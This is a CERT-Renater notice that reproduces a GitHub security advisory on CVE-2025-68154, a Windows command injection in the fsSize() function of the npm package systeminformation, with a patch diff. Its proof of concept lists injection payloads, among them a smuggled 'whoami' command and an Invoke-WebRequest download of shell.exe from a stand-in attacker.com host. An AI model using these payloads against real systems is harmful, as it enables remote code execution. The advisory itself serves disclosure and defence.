Ce mail provient de l'extérieur, restons vigilants ===================================================================== CERT-Renater Note d'Information No. 2025/VULN887 _____________________________________________________________________ DATE : 19/12/2025 HARDWARE PLATFORM(S): / OPERATING SYSTEM(S): Systems running systeminformation (npm) versions prior to 5.27.14. ===================================================================== https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-wphj-fx3q-84ch _____________________________________________________________________ Command Injection in fsSize() on Windows High sebhildebrandt published GHSA-wphj-fx3q-84ch Dec 16, 2025 Package systeminformation (npm) Affected versions <=5.27.13 Patched versions 5.27.14 Description Summary The fsSize() function in systeminformation is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. Affected Platforms: Windows only CVSS Breakdown: Attack Vector (AV:N): Network - if used in a web application/API Attack Complexity (AC:H): High - requires application to pass user input to fsSize() Privileges Required (PR:N): None - no authentication required at library level User Interaction (UI:N): None Scope (S:U): Unchanged - executes within Node.js process context Confidentiality/Integrity/Availability (C:H/I:H/A:H): High impact if exploited Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable. Details Vulnerable Code Location File: lib/filesystem.js, Line 197 if (_windows) { try { const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`; util.powerShell(cmd).then((stdout, error) => { The drive parameter is concatenated directly into the PowerShell command string without any sanitization. Why This Is a Vulnerability This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using util.sanitizeShellString(): File Line Function Sanitization lib/processes.js 141 services() ✅ util.sanitizeShellString(srv) lib/processes.js 1006 processLoad() ✅ util.sanitizeShellString(proc) lib/network.js 1253 networkStats() ✅ util.sanitizeShellString(iface) lib/docker.js 472 dockerContainerStats() ✅ util.sanitizeShellString(containerIDs, true) lib/filesystem.js 197 fsSize() ❌ No sanitization The sanitizeShellString() function (defined at lib/util.js:731) removes dangerous characters like ;, &, |, $, `, #, etc., which would prevent command injection. PoC Attack Scenario An application exposes disk information via an API and passes user input to si.fsSize(): // Vulnerable application example const si = require('systeminformation'); const http = require('http'); const url = require('url'); http.createServer(async (req, res) => { const parsedUrl = url.parse(req.url, true); const drive = parsedUrl.query.drive; // User-controlled input // VULNERABLE: User input passed directly to fsSize() const diskInfo = await si.fsSize(drive); res.end(JSON.stringify(diskInfo)); }).listen(3000); Exploitation Normal Request: GET /api/disk?drive=C: Malicious Request (Command Injection): GET /api/disk?drive=C:;%20whoami%20%23 Command Construction Demonstration The following demonstrates how commands are constructed with malicious input: Normal usage: Input: "C:" Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl With injection payload C:; whoami #: Input: "C:; whoami #" Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl ↑ ↑ semicolon terminates # comments out rest first command PowerShell will execute: Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C: (original command) whoami (injected command) Everything after # is commented out PoC Script /** * Command Injection PoC - systeminformation fsSize() * * Run with: node poc.js * Requires: npm install systeminformation */ const os = require('os'); // Simulates the vulnerable command construction from filesystem.js:197 function simulateVulnerableCommand(drive) { const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`; return cmd; } // Test payloads const payloads = [ { name: 'Normal', input: 'C:' }, { name: 'Command Execution', input: 'C:; whoami #' }, { name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' }, { name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #' }, ]; console.log('=== Command Injection PoC ===\n'); console.log(`Platform: ${os.platform()}`); console.log(`Note: Actual exploitation requires Windows\n`); payloads.forEach(p => { console.log(`[${p.name}]`); console.log(` Input: ${p.input}`); console.log(` Command: ${simulateVulnerableCommand(p.input)}\n`); }); PoC Output === Command Injection PoC === Platform: win32 Note: Actual exploitation requires Windows [Normal] Input: C: Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl [Command Execution] Input: C:; whoami # Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl [Data Exfiltration] Input: C:; Get-Process | Out-File C:\temp\procs.txt # Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\temp\procs.txt # | fl [Remote Payload] Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # | fl As shown, the attacker's commands are injected directly into the PowerShell command string. Impact Who Is Affected? Applications running systeminformation on Windows that pass user-controlled input to fsSize(drive) Web applications, APIs, or CLI tools that accept drive letters from users Monitoring dashboards that allow users to specify which drives to query Potential Attack Scenarios Remote Code Execution (RCE) - Execute arbitrary commands with Node.js process privileges Data Exfiltration - Read sensitive files and exfiltrate data Privilege Escalation - If Node.js runs with elevated privileges Lateral Movement - Use the compromised system to attack internal network Ransomware Deployment - Download and execute malicious payloads Recommended Fix Apply util.sanitizeShellString() to the drive parameter, consistent with other functions in the codebase: if (_windows) { try { + const driveSanitized = drive ? util.sanitizeShellString(drive, true) : ''; - const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`; + const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl`; util.powerShell(cmd).then((stdout, error) => { The true parameter enables strict mode which removes additional characters like spaces and parentheses. References CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') OWASP Command Injection Node.js Security Best Practices systeminformation npm package Thank you for your work on systeminformation. I hope this report helps improve the security of the project. Please let me know if you need any additional information or clarification. Severity High 8.1/ 10 CVSS v3 base metrics Attack vector Network Attack complexity High Privileges required None User interaction None Scope Unchanged Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H CVE ID CVE-2025-68154 Weaknesses Weakness CWE-78 Credits @yueyueL yueyueL Reporter ========================================================= + CERT-RENATER | tel : 01-53-94-20-44 + + 23/25 Rue Daviel | fax : 01-53-94-20-41 + + 75013 Paris | email:cert@support.renater.fr + =========================================================